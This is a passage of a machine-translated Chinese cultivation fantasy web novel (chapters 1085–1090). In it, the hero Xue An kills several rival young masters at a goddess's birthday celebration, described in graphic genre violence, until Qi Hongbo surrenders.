    "I have seen that woman, she is a disciple of the Cursed City, named Chu Xiaoyun! But this is the first time I have seen this young man!"


    In these discussions, Li Gang stared at Xue An in the distance, and the hatred in his eyes was almost overflowing.


    "How dare you come!"


    As if feeling Li Gang''s gaze, Xue An turned his head and looked here.


    After seeing Qi Hongbo and others, Xue An''s mouth raised slightly, revealing a cold smile, and then gently raised his hand and made a gesture of cutting his throat.


    This time everyone was shocked.


    No one thought that this newcomer was so arrogant that he dared to threaten Qi Hongbo and other tycoons.


    Qi Hongbo''s face was as cold as frost, and Li Gang couldn''t help it, so he wanted to rush straight up.


    At this moment.


    There was a burst of laughter in the void.


    "I''m so sorry to keep everyone waiting!"


    Following the voice, I saw a brilliance floating above the seat of Sendai, and then a young woman with white skin and flaming red lips appeared.


    I saw this person.


    The guests all got up, then bowed their hands in salute.


    "Congratulations to the cursed goddess!"


    "Congratulations on the Birthday of God!"


    Its sound makes the whole Sendai tremble.


    The goddess of curse looked around the audience, seeing the strong among those who came, she couldn''t help showing her face, and nodded slightly.


    "You are polite! There is a **** festival in the little god, how dare you trouble all the adults to come?"


    "My goddess is polite! It is also an honor for me to be able to participate in your celebration!" a man with a strong body said solemnly.


    This person is the master of Ligang, that is, the master of Lishen Temple.


    "That''s right! The lord of Li Palace said that!" Everyone agreed.


    The goddess of curse smiled slightly and was about to speak.


    A voice without sadness or joy came from the crowd.


    "People... are all here?"

 Chapter 1085： Since you want to die first, then I will be...

    This voice was so untimely, it even made the audience stunned, and then all turned their heads and looked at the person who made the sound.


    Seeing the crowd, Xue An stood proudly, with a faint smile on his face.


    At this time, even Qi Hongbo and others couldn''t help but stare at Xue An with a look of surprise.


    What does he want to do?


    at the same time.


    The cursed goddess leaned back on the chair in time, looked at Xue An with interest, and then played with the taste: "If you are all together, what does it have to do with you?"


    "And if I''m not wrong, you''re the boy who has been very popular lately, hey, he looks really good!" As he said, the cursing goddess licked her lips, the desire in her eyes grew stronger.


    Xue An raised his eyebrows slightly and said lightly: "If everything is there, I should harvest!"


    Reap...


    As soon as this sentence was spoken, the audience was silent, and then the pot was completely exploded.


    "Where is the guy so arrogant?"


    "Is this kid a lunatic? How dare to speak like this in front of the cursed goddess and the wealthy Tianjiao?"


    Qi Hongbo couldn''t help but startled, then smiled coldly, "It''s really looking for death!"


    really.


    The smile on the cursed goddess''s face grew colder, "Harvest? Haha, boy! I advise you to think clearly what you are doing before you speak! Otherwise... but it''s easy to die!"


    Although the voice of cursing the goddess was indifferent, the complexions of those who knew her changed, knowing that she was angry.


    Therefore, many people do not stop looking at Xue An with the same gaze at the dead.


    As his eyes converged, Xue An gradually laughed, then lowered his eyes lightly, and said lightly: "Do you know what I am here for?"


    "Oh? For what? Don''t say it is to avenge me, a good disciple!" The goddess of curse had naturally seen Chu Xiaoyun standing behind Xue An and couldn''t help but sneer.


    As soon as these words came out, female disciples such as Ruan Jingxiu laughed.


    Especially Ruan Jingxiu, with a frantic expression on her face, said: "Tsk tsk, it seems that Miss Chu''s vision is not very good, she actually believes in a lunatic!"


    Chu Xiaoyun trembled all over, and his complexion gradually paled, but his eyes showed unprecedented firmness.


    "Yes!" Chu Xiaoyun raised his head, took a deep breath, and said loudly.


    "Master Xue and I are here to get revenge on you!"


    boom!


    As soon as this remark came out, the audience was silent and then burst into laughter.


    Especially those female disciples who knew Chu Xiaoyun acquainted, even more sneered.


    "It''s such a big talk! Even if you dare to speak like this in front of Master Master, it seems that Chu Xiaoyun is tired of living too!"


    "Yes, if you dare to say such things at the celebration, Master will definitely not let her go!"


    Even Pu Yanru''s face at this moment does not have the warm smile of the past, and instead is full of disdain and gloat.


    Just in this case.


    The cursed goddess, who everyone thought would be furious, laughed, "Oh? Find me revenge? Chu Xiaoyun, I have to admit that your Chu family are really brave, but they are not very clear-headed! If you want me to get revenge, just By him?"


    The curse goddess pointed at Xue An, and then mocked: "Do you dare to say this now?"


    Chu Xiaoyun was startled slightly, and then subconsciously looked at Xue An, "My lord..."


    Her heart gradually tightened together.


    Because she discovered that Xue An actually lowered his head, as if thinking about something.


    Could it be... he really flinched?


    When Chu Xiaoyun was in a state of confusion, the goddess of curse slowly stood up and looked down at Xue An and the two.


    "Young man, if you kneel down and beg for mercy now, and restrain yourself, I can consider leaving you a way out!"


    The powerful divine might revealed in the voice made the entire Sendai tremble.


    But at this moment, Xue An, who had bowed his head, suddenly shook his head and chuckled, then slowly raised his eyes.


    "You just said something wrong!"


    "Oh? What''s the matter?" The curse goddess said lightly.


    "I am here, not just to avenge you for Chu Xiaoyun!"


    With that said, Xue An looked around the audience, raised his hand and pointed at Qi Hongbo and others in the distance, "including them, they are going to die today!"


    The audience was silent for a full breath, and then the hearing gang finally couldn''t contain the hatred in his heart, and roared.


    "Boy, I want to peel off all your skins, and see if you dare to be so crazy then!"


    As he said, Li Gang slid over, and his figure appeared behind Xue An instantly, and then raised his fist.


    And just as he punched, a virtual image of a golden armor warrior appeared behind him, and it fell down at the same time.


    "It''s the Spirit of Lishen!" Bai Chong, who had originally shook the paper fan, couldn''t help being stunned. Then he shook his head and smiled bitterly: "No wonder this Ligang is so arrogant. It turns out that he has obtained the treasure of Lishen!"


    It is necessary to know that the Temple of Power can gain a foothold in the God Realm, and enjoy a not weak reputation, naturally has its own uniqueness.


    For example, this power **** martial soul is a kind of treasure that has been condensed from the beliefs of the previous power **** temple masters and the elders for thousands of years.


    Once possessed, it will be able to carry out extremely strong blessings to those who practice martial arts.


    The strength of this Ligang itself is not weak, and with this strength and martial soul, it will be even more powerful, and the punch will make the minds of the weaker people turbulent.


    Xue An didn''t dodge, but still stood there quietly, as if he didn''t notice the punch coming from behind.


    Seeing that the fist was already in the body, Xue An still did not move, Li Gang''s face couldn''t help showing a grinning smile.


    With the blessing of Lishen Wuhun, he has the confidence to directly blast a monarch-level powerhouse into pieces with a single punch.


    So he felt that Xue An was dead.


    But at this moment, Xue An, who had turned his back to him, didn''t know when he turned around at an incredible angle, and then raised his sapphire palm, gently blocking the punch from Li Gang.


    boom!


    With a muffled sound, an invisible shock wave instantly swept across all the tables, chairs and benches around, shaking it to dust.


    Unprepared, Li Gang felt that his entire arm was shaken, and even Li Shen Wuhun''s punch was blocked.


    But Xue An''s shoulder didn''t even move.


    Li Gang was shockedThis....... "


    The voice did not fall.


    Xue An showed white teeth and smiled sensibly, "Since you are so impatient to die first, then I will fulfill you!"


    After that, Xue An suddenly shook his hand with one hand.


    Li Gang felt a sharp pain coming from his gripped hand, before he waited for a scream.


    Hearing a crisp sound, Li Gang''s palm was crushed by Xue Ansheng.


    "Come and not be indecent, I will also give you a punch!"


    Xue An raised his fist and blasted out.


    It was so simple that there didn''t seem to be any fancy punches, but it caused a gust of wind in the whole Sendai.


    "Hallmaster, save me!" Li Gang only had time to make this scream.


    Then Xue An''s punch directly hit his chest.

 Chapter 1086： You are the fish, I am the knife

    He has been tempered by various secret methods since he was a child, and his body has long been as solid as a rock, but under this punch, it is as soft as tofu.


    Xue An''s fist directly smashed Li Gang''s chest, then passed straight through, poking out from behind.


    not only.


    The Lizun Martial Soul that was originally blessed on Ligang''s body also burst into pieces after a mournful cry.


    Xue An slowly pulled out his hand.


    There was a gurgling noise in Li Gang''s throat, he raised his eyes with difficulty, and glanced at Xue An with an incredible look, as if he didn''t believe that he had died like this.


    But Xue An''s punch not only pierced his chest, but also directly killed all his vitality, so his eyes dimmed at a speed visible to the naked eye, and then he fell to the ground and died in desperation.


    The blood is dripping, the smoke is filled,


    And the audience was even more silent.


    He was full of schadenfreude and prepared to watch the lively crowd, but now they are all stupid.


    Because no one expected that Xue An would kill Li Gang, the true disciple of the Temple of Li Temple, so simply and neatly.


    And looking like that, it''s like killing a chicken, without any mood swings.


    At the moment when the audience was stunned.


    A roar of grief and indignation came, "You actually killed Gang''er, I will break your body into pieces!"


    As soon as the voice fell, a big man broke through the space and instantly appeared on top of Xue An''s head. Then, as shown above, he directly fell down with the supreme power.


    The person who does it is the main force of the Temple of Power, Yuqian!


    As the master of the Temple of Power, Li Gang''s tragic death was like a loud slap on the face of Li Yuqian.


    If he can''t find the place in time, the reputation of the Temple of Power will be greatly damaged.


    And Li Gang is not only a true disciple of Lishen Temple, but also his nephew.


    Therefore, Li Yuqian hated Xue An very much, and his shot was a Xeon killer move.


    When Li Yuqian did his hands, unlike Li Gang, there would be a powerful spirit of martial arts appearing for blessing.


    But anyone with a discerning eye can see that Li Yuqian far surpasses Li Gang in both strength and cultivation.


    His entire body has been condensed with the Martial Spirit of Li Shen, and his gestures are like a wild beast, possessing extremely terrifying power.


    As shown above, the momentum of this blow is even more shocking.


    Even this extremely sturdy Sendai has cracks due to this momentum.


    Xue An smiled freely, "If you hit the apprentice and come to the master, it doesn''t matter, then you go with it!"


    Having said that, Xue An raised his hand, and within the inconvenient time, he directly grasped Li Yuqian''s ankle with a second-to-peak technique.


    Li Yuqian, who was originally full of murderous intentions, couldn''t help being shocked when he felt the coolness from his ankles, and then instantly swelled and wanted to break free of Xue An''s hand.


    But all his methods completely failed in front of Xue An.


    Seeing Xue An grasping Li Yuqian''s ankles, he slammed to the ground.


    boom!


    A humanoid crack appeared on the ground.


    Then, without waiting for Li Yuqian to react, Xue An picked it up again.


    Next, Li Yuqian turned into a club in Xue An''s hands and was smashed by Xue An.


    Bang bang bang!


    After more than a dozen explosions, the originally solid ground of Sendai was shaken out of cracks and chaos.


    And looking at Li Yuqian again, it''s horrible.


    His whole body was broken, and he couldn''t even lift his fingers.


    However, Li Yuqian saved his life with the extremely powerful vitality of the cultivation, and even to him, these injuries were nothing more than skin injuries.


    If it were not for Xue An''s imprisonment, he might not even have this injury.


    But the more so, the more Li Yuqian became aggrieved.


    The feeling of being powerful but unable to make the whole person suppressed made Li Yuqian go crazy.


    At this moment, Xue An suddenly released his hand.


    boom.


    When Li Yuqian landed, he secretly breathed a sigh of relief, and then agitated his blood, and began to frantically repair the injuries in his body.


    You wait for me, after I repair the injury, I will crush you a little bit!


    Li Yu Qian thought very bitterly.


    But just as these thoughts had just appeared in his mind, Xue An had already stepped forward and stepped on his head.


    hiss!


    The audience couldn''t help taking a breath.


    Because it was stepped on by Xue An, but the strong man who guarded one side!


    Li Yuqian shook all over, and then roared furiously: "Boy, you dare to step on me? I..."


    The voice did not fall.


    Xue An suddenly whispered: "Goodbye!"


    After all, Xue An used his feet hard.


    boom!


    There was a muffled sound.


    Li Yuqian''s head was trampled on by Xue Ansheng.


    And even the gods and spirits were also crushed.


    Brain plasma and blood flowed out, emitting a nauseating smell.


    Li Yuqian''s hands and feet were still trembling unconsciously, seemingly unwilling, but also remorseful.


    But everything is not important anymore.


    Everyone was shocked on the spot, and then gradually showed a look of horror.


    That is the Lord of the Temple of Power!


    So he was trampled to death by Xue Ansheng?


    If you talk about it before this happens, no one will believe it, because it''s like a joke.


    But the facts are right there, Li Yuqian and Li Gang''s body are lying on the ground, even the blood is still cold.


    Faced with such a scene, the whole audience was silent.


    And Xue An stood in the pool of blood, and suddenly laughed, "How does it feel like you are a fish and I am a knife? And this is what you gods often impose on others!"


    "That''s why I''m here today... just to butcher and wait!"


    It was like a stone that caused a thousand waves.


    Although Xue An''s strength is obvious to all.


    But Xue An''s words made all the people present angry.


    In particular, Xue An''s spearhead was directed at all the Protoss, which was even more intolerable.


    "Extremely arrogant!" There is a gods who shook his head and sneered.


    "I really thought what would happen if I killed two people from the Temple of Power? It''s ridiculous!" Youhao Clan Tianjiao even laughed out and Qi Hongbo, Ji Haoqiong, and Bai Chong and others'' faces It gradually became cold.


    Especially Qi Hongbo. He hated Xue An a long time ago. He just relied on his dignity and didn''t want to do anything.


    It can be seen that Xue An is now killing two people in a row and vowing to deal with everyone present. How can this attitude not make Qi Hongbo furious.


    But before he could do anything, he saw Ji Haoqiong of the Five-way Divine Sect spit out a snake-like tongue, lightly licked his lips, and sneered.


    "Shao Qi, this man belongs to me, because I can just use him to train evil soldiers! What''s more, kill him, that woman is mine!"


    Qi Hongbo was startled slightly, then nodded, "Since Ji Shao thinks so, let it be Ji Shao! But be careful!"


    Ji Haoqiong grinned, "Don''t worry, I''m not like the fools in the Temple of Li!"


    After all, Ji Haoqiong took a step and walked into the court.

 Chapter 1087： If this child is not removed, it will become a major disaster

    "Boy, you are crazy, I appreciate that, but you are too arrogant and you will often die miserably!" Ji Haoqiong said with a grin.


    There was a slight commotion in the crowd.


    "It''s Master Ji of the Five-way God Sect!"


    "It''s estimated that this young man will suffer a lot! The Five Elements Sect is not as easy to deal with like the Temple of Li Temple!"


    During the discussion, Xue An didn''t even raise his head, but said coldly: "Stop talking nonsense, come here if you want to die!"


    Ji Haoqiong''s complexion sank, he let out a cold snort, his body flashed, and five clones instantly appeared.


    These five avatars are not in the slightest different from Ji Haoqiong''s body, and even their aura and cultivation base are exactly the same.


    This is the strongest skill of the Five-way God Sect, in the form of the Five-way.


    Once the application is carried out, it can differentiate the five realms and their own cultivation bases basically equivalent.


    Despite many limitations, the power of this secret technique is too powerful.


    Imagine that an opponent who was even close to you suddenly came with five helpers who were exactly the same, and everyone was desperate to replace it.


    For this reason, the Five-way God Sect has become a powerful family, and has always been famous.


    At this time, the five avatars occupied five positions and surrounded Xue An.


    Then Ji Haoqiong Jiejie laughed strangely, "Boy, aren''t you crazy? Now... I think how crazy you are!"


    The atmosphere of the audience is very loose.


    Almost everyone thinks Xue An will die.


    And Ji Haoqiong is even more proud, "Boy, you kneel now, I can let you die quickly, otherwise, I will be very patient to tear you up a little bit!"


    Xue An stretched his eyes to the left and right, looked at these avatars that were besieging him, and said with a smile but a smile: "At first glance, it seems very bluff, but with the secret technique that can only be maintained by burning the soul, do you really think you can win me?"


    Xue An''s words caused Ji Haoqiong, who was originally full of pride, to shake his body, "How do you know this?"


    Xue An sneered coldly, "I know...far more than you think!"


    As he said, Xue An suddenly stepped on the ground with his left foot, and the extremely hard floor instantly collapsed into a large pit, while Xue An instantly rushed to Ji Haoqiong like an arrow from the string, and blasted out with a punch.


    This speed is even faster than the reaction speed of many people.


    However, Ji Haoqiong, as the true biography of Tianjiao cultivated by the Five-way Divine Sect, naturally has its own advantages, so when he saw Xue An''s punch.


    He didn''t panic and snorted slightly.


    In an instant, the five avatars suddenly appeared on the front, back, left and right of Xue An, and then simultaneously performed a terrifying killer move.


    I saw Guanghua Road, Limang broke through.


    The prestige is strong enough to be eye-catching.


    What''s more, this is the joint performance of the five avatars, and its power has soared more than a hundred times.


    This kind of combined force, let alone a king-level powerhouse, even an ancient god-level, has to retreat.


    But just when Ji Haoqiongzhi triumphantly thought that Xue An would undoubtedly die.


    Seeing Xue An suddenly took a deep breath, stepped on the void, and stomped suddenly.


    "roll!"


    boom!


    Give an order.


    The void shook wildly, and the space surged.


    The shock wave that emerged was like a sharp blade, instantly sweeping around his body.


    Puff puff!


    After a muffled noise.


    These five avatars were like fragile porcelain, cracks appeared on their bodies, and then gradually faded and returned to nothingness.


    puff!


    Ji Haoqiong opened his mouth and vomited a big mouthful of blood, and his face was instantly pale as paper.


    But what frightened Ji Haoqiong more than the injury was Xue An''s shocking methods.


    In any case, he never thought that he could actually use this method to break his own clone.


    "Who are you?" Ji Haoqiong roared in fear.


    Xue An smiled slightly, "My name is Xue An! Remember this name, it''s best to remember it in the next life, otherwise it''s easy to be killed by me again!"


    After all, Xue An''s eyes narrowed slightly, his spiritual thoughts were like a knife, and he slashed past at lightning speed.


    After a pop, he saw Ji Haoqiong''s whole body shake, and stood on the spot, looking at Xue An with a blank face.


    The audience was also quiet, not knowing what happened.


    "This...what is this trick?" Ji Haoqiong gasped and asked.


    "The magic knife!" Xue An said lightly.


    Spiritual transformation...


    A look of horror appeared in Ji Haoqiong''s eyes, because as a preacher of the Five-pass Divine Sect who specializes in divine consciousness, he certainly understood how difficult it was.


    Then he spit out his tongue like a snake letter, and wanted to lick his lips again, but at this moment.


    Just above his forehead, a red blood line gradually emerged and quickly extended downward.


    In an instant, his entire body showed a red blood line, and then he saw blood splashing, and the whole person was divided into two halves and fell to the ground.


    People stared blankly.


    If Xue An killed Li Yuqian and Li Gang in the Temple of Li just now, it can be considered a coincidence.


    Then Ji Haoqiong''s death now gave everyone a blow.


    You must know that the strength of the Five-way Divine Sect is not to be underestimated, and Ji Haoqiong is a long-established strong talent.


    In the end, he was wiped out by Xue An''s gesture?


    Such facts are simply too shocking.


    Even Pu Yanru''s expression at the moment gradually became serious.


    As for Ruan Jingxiu, the whole person was already silly, two duck eggs could fit into his wide open mouth.


    While Qi Hongbo and Bai Chong looked at each other, they both saw the shock in each other''s eyes.


    Then Qi Hongbo took a deep breath, "If you don''t get rid of this, it will be a big disaster!"


    Bai Chong nodded, "Yes! I think you should not pay attention to morality when dealing with this person, it is best to go together and besieged him!"


    His words caused many people to nod slightly, and their eyes gradually turned bad.


    After all, Xue An''s present appearance is too strong, and it has naturally aroused the envy of countless people.


    But at this moment, there was a burst of applause.


    Everyone looked up.


    I saw the cursed goddess sitting above the main seat applauding enthusiastically, and then said with interest: "It''s really good! I haven''t seen such a wonderful fight for a long time!"


    Xue looked at him quietly, unmoved at all.


    And this cursed goddess was a little excited and uncontrollable.


    "Tsk tusk, I really like you more and more! If you want, I can even accept you and teach you all kinds of tricks! As for these enemies, it''s just a matter of my word, provided that you must completely submit. For me, what do you think?" The cursed goddess said excitedly.


    And this question caused a commotion in the audience.


    Many people show envy and hatred.


    If it is true as the cursed goddess said, then this young man is really likely to retreat all over.


    When Chu Xiaoyun heard the words, his face paled, and he looked at Xue An worriedly.


    If Xue An really agrees, then he will fall into a dead end.

 Chapter 1088： kill! kill! kill!

    But at this moment, Xue An gradually laughed.


    It''s just that the smile is full of murderous intent, "Follow you? Haha! You are... also worthy of you?"


    Quiet!


    Deathly quiet.


    People looked at Xue An blankly, and couldn''t believe their ears.


    How dare to speak to the cursed goddess in this tone, this can no longer be described as arrogant.


    This is nothing short of death!


    really.


    The smile on the face of the cursed goddess gradually disappeared, replaced by a frosty face.


    "Young man, I guess you should also be a disciple of some aristocratic family in the outside world! But when you went out to practice, didn''t your elders teach you how to respect the strong?"


    Xue An shook his head and said lightly: "You are wrong. In this world, no one is qualified to teach me to do things!"


    At this time, many people were irritated and laughed.


    "It''s really nonsense!"


    "Dare to say this?"


    Especially the goddess of cursing, after a period of stunned, sneered.


    "I finally understand that you are not arrogant, but a pure lunatic!"


    With that said, the goddess of curse looked at Qi Hongbo in the distance, and said lightly: "Young Master Qi, several of your friends have died in the hands of this young man. Next, I''ll leave it to you! Don''t worry about anything, just bleed. Is to add some color to my celebration!"


    Qi Hongbo smiled when he heard the words, then lowered his head slightly, "As you wish, Lord Goddess!"


    After that, he turned his head and stared at Xue An coldly.


    "The surname is Xue, above the Jade Pavilion, if it weren''t for girl Yanru to discourage you, do you think you can live to this day?"


    Xue An stood calmly, "I told you at the time that if you leave immediately, you can save your lives, but it seems that you didn''t seem to listen!"


    "Haha! Really ridiculous, I am the young master of the dignified Skyfire God Race, you want to let me go if you just say a few words, do you really think you have enough face?" Qi Hongbo said with a sneer.


    But just as he was talking to Xue An, Bai Chong, who was standing behind him, was retreating without being noticed by anyone.


    After retreating to the crowd, Bai Chong''s whole body gradually faded, and finally disappeared into the air.


    From beginning to end, no one noticed his actions.


    Only Zhong An''an, the Profound Girl Tianjiao of the Taiyin God Clan, turned her head and glanced as if feeling a little, and then she understood something.


    The reason why this young master Qi talked with Xue An seemed to be questioning, but in fact he was diverting Xue An''s attention, so as to take the opportunity to let Bai Chong attack.


    We must know that the most famous of the ancient sword gods is that hand of swordsmanship.


    This Bai Chong is his descendant, and he has a good kendo.


    If it gets close to him quietly, and when a sudden violent blow occurs, even an ancient **** strong will be difficult to resist.


    Thinking of this, Zhong Anan''s eyes showed dignity, and then quietly glanced at Xue An.


    Although Xue An started killing several people from the start.


    But Zhong Anan had a good impression of Xue An.


    Because those who died in Xue An''s hands were all wicked men who did a lot of evil.


    Zhong Anan even subconsciously took care of Xue An.


    At this moment.


    Qi Hongbo noticed that in the void not far behind Xue An, there was an extremely slight airflow disturbance that could not be seen if you were not paying attention.


    Qi Hongbo knew that Bai Chong was already in place, and he couldn''t help feeling proud, and then Jiejie sneered.


    "The surname is Xue, everything is in vain. Since you speak big words and want everyone in the room to pay the price of blood, then you must beat me first!"


    With that, Qi Hongbo''s figure flashed and rushed towards Xue An instantly.


    In terms of strength and cultivation, besides cursing the goddess, he is the highest among the audience.


    So even with a simple impact, the speed is incredibly fast, which is staggering.


    At this moment, Bai Chong, who had been hiding in the void behind Xue An, suddenly violently violently, the folding fan in his hand turned into a dazzling sword light, and then he cut down against Xue An''s neck.


    The sword light was bright, and the sword light scattered.


    This sword caused chills in the hearts of all the viewers. They only felt that the sword aura pierced their faces. They couldn''t help but step back, and then looked at them with amazement.


    Just looking at it has this kind of bone-chilling chill, one can imagine how fast and bitter this sword is.


    Looking at what Xue An looked like now, there was Qi Hongbo''s impact in the front and Bai Chong''s sword in the back.


    Under the attack of the two phases, it is obviously a desperate situation.


    At least Qi Hongbo''s face showed a touch of color.


    As long as Bai Chong succeeded with this sword, even if he was a strong Da Luo, he had to admit defeat obediently.


    But at this moment.


    I heard Xue An say without looking back: "Who gave you the courage to use a sword in front of me? Is it love?"


    This sentence makes many people hear a little inexplicable.


    Bai Chong didn''t care about these at all.


    Once he held the sword in his hand, Bai Chong would instantly transform into a cold assassin, unmoved by foreign objects at all.


    Seeing that this sword had reached Xue An''s neck, it was almost cut off.


    Even the strong wind that brought Xue An''s hair stirred up.


    But at this time.


    A wisp of sword light appeared in front of Xue An''s neck in a short period of time, directly blocking the sword.


    This strand of sword light looked extremely weak, as if it was about to go out after taking a breath.


    But when you really face it, you will understand the horror of this sword light.


    At least Bai Chong is the case.


    He felt that the indestructible sword in his hand seemed to have hit a mountain, and could not shake it at all.


    Not only that, but the counter-shock force it brought directly shook Bai Chong away.


    Bai Chong was shocked, looked at Xue An in disbelief, and said in a trembled voice: "This...this..."


    It''s been a long time, but I can''t even speak.


    At the same time, the ancient divine sword in his hand shattered and turned into a sword light, and then worshipped at the sword light behind Xue An.


    It''s like... seeing the subjects of the Supreme Emperor!


    Then Xue An sighed: "Swordsman Kill! But in order to become stronger, you actually chose to use sneak attacks to achieve your goal. This in itself is an insult to the sword! So..."


    Xue An didn''t turn his head back, and said lightly: "You don''t deserve to hold a sword at all!"


    With the voice, the ray of sword light behind Xue An skyrocketed, and in an instant it turned into a bright sword, and the tip of the sword pointed directly at Bai Chong, who was shaking like chaff.


    "Before you die, let you see what a real sword is!" Xue An said lightly.


    The voice just fell.


    Seeing this long sword pointed upwards and cut straight down.


    This is an indescribable sword, like a river of heaven flowing down, it is shocking!


    Bai Chong didn''t even evade, he just looked at the sword idiotically, and then whispered softly, "So...this is the sword!"


    Say it!

 Chapter 1089： You blue sky first fire

    There was no sound, not even unnecessary movement.


    Silently.


    Bai Chong was like a person made of wax, gradually melting under this sword.


    Of course, it wasn''t that he really melted, but because the sword was so fast.


    Soon before the flesh and blood could disintegrate, he was directly evaporated by the strong sword power.


    In an instant.


    Bai Chong disappeared completely.


    Only the layer of dark red dust floating in the air, like frost and snow, was the flesh and blood of Bai Chong that had been evaporated by the sword.


    The dust gradually fell, spreading a thin layer on the ground.


    In addition, there is no trace of his existence.


    The audience was silent.


    Everyone was stunned by this scene.


    Many people fell into a trance because of excessive shock.


    Once upon a time, people thought that the boy in white was ranting, but since he entered the arena, he has killed four or five people in a row.


    Moreover, none of the people who died in his hands were the tyrannical Tianjiao, a powerful true biography.


    Especially now that even Bai Chong, the descendant of the Ancient Sword God Clan''s Tianjiao, is dead, and he is still dead under the best swordsmanship of the Ancient Sword God Clan.


    Such terrifying facts naturally shocked countless people.


    Pu Yanru, Ruan Jingxiu and other women who thought that Xue An would surely die were the old gods who were there, and they stared blankly.


    At this time.


    Qi Hongbo looked down at the dark red dust on the ground, the expression on his face gradually became solemn, then slowly raised his head and said coldly.


    "I admit, I always underestimated you before! I didn''t expect you to be a kendo master, and even cut Bai Chongdu under the sword!"


    Qi Hongbo took a deep breath, the light in his eyes became brighter, and slowly said: "If I didn''t take you seriously before this, then now, you are enough to become my evenly matched opponent!"


    Xue An''s mouth raised a playful smile, "Oh? Is it just an opponent?"


    "Do you think this is enough?"


    With that, Qi Hongbo''s face showed a touch of ridicule and pride.


    "Your strength is really good, but you are absolutely impossible to beat me! Because in front of my Skyfire God Race, you are all ordinary people!"


    But at the moment when his voice fell and he didn''t even close his mouth, Xue An took a vertical step, straddling the void, appeared directly in front of him, and then slapped out a palm with lightning speed.


    Snapped!


    A slap in the face resounded through the audience.


    With this crisp sound, Qi Hongbo was directly pulled out like a spinning top, and after turning a dozen times in the air, he fell down and barely stopped.


    But his face was swollen and swollen rapidly at a speed visible to the naked eye, and in a flash, the originally handsome cheek swelled into a pig''s head.


    There was deathly silence.


    After a while, all the talents changed their colors, and their eyes were full of shock and unbelief.


    Because no one expected that Xue An would suddenly make a move, and slapped Qi Hongbo Qi, the young master of the Skyfire God Clan, with a slap on the face.


    Now... things are big! Someone thought of it.


    really.


    I saw that Qi Hongbo was at a loss for a while, and then he gradually woke up from being slapped. Then his whole body began to tremble, and the resentment in his eyes had become substantive.


    "Very well, you dare to hit me? You are dead! No, I won''t kill you, I will pull your soul out, put you into the abyss of skyfire and burn you for thousands of years, let you survive Don''t ask for death, you can''t!" Qi Hongbo roared bitterly.


    But Xue An didn''t pay attention to the threat in his words at all, but only noticed one detail.


    "Skyfire Abyss?" Xue An''s eyes lit up slightly.


    "That''s right! That''s the place where my Skyfire God Race started. There are countless kinds of Skyfire. No matter how strong you are, if you don''t have my family''s secret method, you will be destroyed by the refined spirits and souls if you enter it! , And you, will become a specimen inside and will be imprisoned forever!"


    As Qi Hongbo said, his face flickered and his injuries began to heal at a speed visible to the naked eye.


    Xue An lowered his head when he heard the words, as if thinking about something.


    But this fell in the eyes of many people, but Xue An was scared.


    Qi Hongbo thought even more so, he couldn''t help but proudly said: "Why? Scared? Then you kneel down and beg me, if you beg me, maybe I will show mercy and make you die faster!"


    With that, Qi Hongbo laughed strangely.


    But amidst the laughter, Xue An suddenly shook his head and sighed, "Think of the ancestor of fire as the abyss of the sky fire, no wonder your sky fire gods have been imprisoned in this **** realm, and you are still proud! But this is good news for me. , So... I decided to grant you a death!"


    Qi Hongbo didn''t understand Xue An''s words at all. In fact, he was already stunned by the anger.


    You must know that since childhood, people around you dare not even look at him, let alone being slapped.


    What Xue An did today has already made him hate him, and he can''t wait to eat Xue An raw.


    But when he was about to move, Xue An''s figure flashed and appeared next to Qi Hongbo again, and then he grabbed Qi Hongbo''s neck and smashed Qi Hongbo out with a headed spring onion.


    This time, Qi Hongbo was not as lucky as he had just been. He was seen rolling in the air and smashing several tables before finally falling to the ground.


    boom!


    Cracks appeared on the ground as dense as a spider web, and Qi Hongbo couldn''t get up even when he fell.


    Then Xue An slowly walked up to Qi Hongbo in the horrified gaze of the audience, looked at him condescendingly, and said lightly: "Are you taken?"


    This question made everyone in the audience breathless.


    Qi Hongbo lowered his head and said intermittently: "Serve...Serve... Nima is tall!"


    As he said, Qi Hongbo suddenly raised his head, the divine light burst in his eyes, and a faint blue flame appeared in the void.


    As soon as the flame came out, the temperature of the audience rose linearly.


    People who are close feel that their hair and beard are burning, and they can''t help but retreat in a panic.


    And Qi Hongbo even grinned and said, "Boy You have good fists, but under my fire, you still have to die!"


    With the voice, I saw the flame suddenly increase, and then turned into a line of fire, directly rushing to Xue An.


    Wherever he went, even the air was scorched and distorted.


    Under these high temperatures, even refined real gold has to be completely melted.


    Many people couldn''t help but breathe a sigh of relief, thinking that Xue An was dead.


    The corners of Pu Yanru, Ruan Jingxiu and others'' mouths showed a smug smile.


    But the smile had just climbed up to the eyebrows, and it was completely solidified.


    Because at this moment, Xue An suddenly opened his mouth and let out a gentle breath.


    puff!


    It was such a simple breath, but it made the basketball-like blue flame sway wildly, and then it went out in everyone''s shocked eyes!

 Chapter 1090： To be a man is to be acquainted, and to be a **** is the same!

    Qi Hongbo stared blankly, unable to believe his eyes.


    The reason why he dared to be so arrogant was that he relied on this wisp of blue sky fire.


    In his opinion, Skyfire is in his hand, and no one is his own enemy except for cursing the goddess.


    But he never expected that Xue An just let out a sigh of relief and blew out his sky fire.


    This is simply incredible.


    Since ancient times, I have never heard of anyone who can extinguish the sky fire casually!


    Even his father, the patriarch of the Skyfire God Clan couldn''t do it.


    Because the sky fire is a naturally formed divine flame, extremely powerful, let alone extinguished by ordinary people, even if it is slightly contaminated, it will be destroyed.


    Who is this man?


    For a time, countless thoughts flooded Qi Hongbo''s mind, causing him to sit on the ground without knowing what to say.


    At this time, Xue An said calmly: "This...is what you call a means?"


    Qi Hongbo trembled all over, and gradually recovered his consciousness, and then trembled: "Who are you...Who are you? Why can you extinguish my sky fire?"


    "Your sky fire?" Xue An smiled freely, opened the palm of his hand and cried out his index finger.


    boom!


    Everyone in the audience was shocked.


    Because just above Xue An''s index finger, a faint blue flame gradually emerged.


    "Do you call this your sky fire?" Xue An said lightly.


    Qi Hongbo was dumbfounded.


    It was the quiet blue sky fire that was jumping and dancing on Xue An''s fingers, but it was different from the time when Qi Hongbo showed it. Although this flame is close, people can''t feel the slightest temperature.


    Only Qi Hongbo understands what this means.


    When I used the sky fire, the temperature of the sky fire would leak out because of insufficient control.


    But in Xue An''s hands, it was like an arm''s finger, and the temperature did not leak in the slightest, which showed that Xue An had completely mastered the sky fire.


    But how is this possible?


    You should know that it took a full year to condense this ray of sky fire, and in the end, it was only barely successful with the help of my father and the elders of the sky fire gods.


    And Xue An has seen this ray of sky fire until now, but with a stick of incense, how did he do it?


    These questions hovered in Qi Hongbo''s heart, making his complexion blue and white, but his eyes gradually calmed down.


    "I surrender!"


    The simple three words made everyone change their colors.


